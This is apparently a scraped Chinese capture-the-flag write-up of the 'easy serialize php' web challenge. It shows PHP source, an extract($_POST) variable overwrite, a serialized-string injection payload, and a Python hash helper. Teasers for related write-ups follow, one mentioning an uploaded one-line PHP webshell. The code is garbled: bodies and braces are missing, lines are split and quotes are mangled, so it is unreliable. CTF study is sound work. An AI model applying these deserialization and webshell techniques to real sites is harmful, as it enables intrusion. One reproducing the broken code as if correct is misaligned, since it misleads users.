攻防世界 easy serialize php

<?php

$function
= @$_get
['f'];
function
filter
($img)if
($_session
)$_session
["user"]=
'guest'
;$_session
['function']=
$function
;extract
($_post);
# extract看到第乙個反應就是變數覆蓋if(
!$function)if
(!$_get
['img_path'])
else
$serialize_info
=filter
(serialize
($_session))
;# 這裡就是題目的名稱 序列化了 並且用filter()函式進行了過濾if(
$function
=='highlight_file'
)elseif(
$function
=='phpinfo'
)elseif(
$function
=='show_image'
)

$serialize_info

=filter
(serialize
($_session))
;// serialize_info的值為
//a:3:

<?php

$_session
["user"]=
'guest'
;$_session
['function']=
$function
;var_dump
($_session);
echo""
;extract
($_post);
var_dump
($_session);
?>
# 第乙個var_dump的值
array(2
)# 如果$_post為 _session[flag]=1則其值變為
array(1
)

$_session[『phpflag』]=』;s:1:「1」;s:3:「img」;s:20:「zdbnm19mmwfnlnboca==」;}』;

$_session[『img』] = base64_encode(『guest_img.png』);

序列化得到

a:2:";s:3:"img";s:20:"z3vlc3***w1nlnbuzw==";}

array(2

)

<?php

function
filter
($img
)$_session
['phpflag']=
';s:2:"11";s:3:"img";s:20:"zdbnm19mmwfnlnboca==";}'
;$_session
['img']=
base64_encode
('guest_img.png');
;$serialize_info
=filter
(serialize
($_session))
;echo
$serialize_info
;$user_info
=unserialize
($serialize_info);
var_dump
($user_info);
?>

import hashlib

import base64
before =
'guest_img.png'
bs64 = base64.b64encode(before.encode(
'utf-8'))
bs64 =
str(bs64,encoding=
'utf-8'
)print
(bs64)
sha1 = hashlib.sha1(
)sha1.update(bs64.encode(
'utf-8'))
print
(sha1.hexdigest(
))

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景，檢查 發現這樣乙個頁面 image.png 訪問.git目錄，疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄，發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心！雖然第一次遇到git原始碼洩露寫了好久，但是寫出來了就很開心 開啟介面我們知道，要拿到flag，就要贏到足夠的錢，其實一開始我以為可以找到乙個地方直接修改餘額什麼的，把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt，想看看有沒有什麼檔案，然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有，這裡是乙個自動化的指令碼，完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案，裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...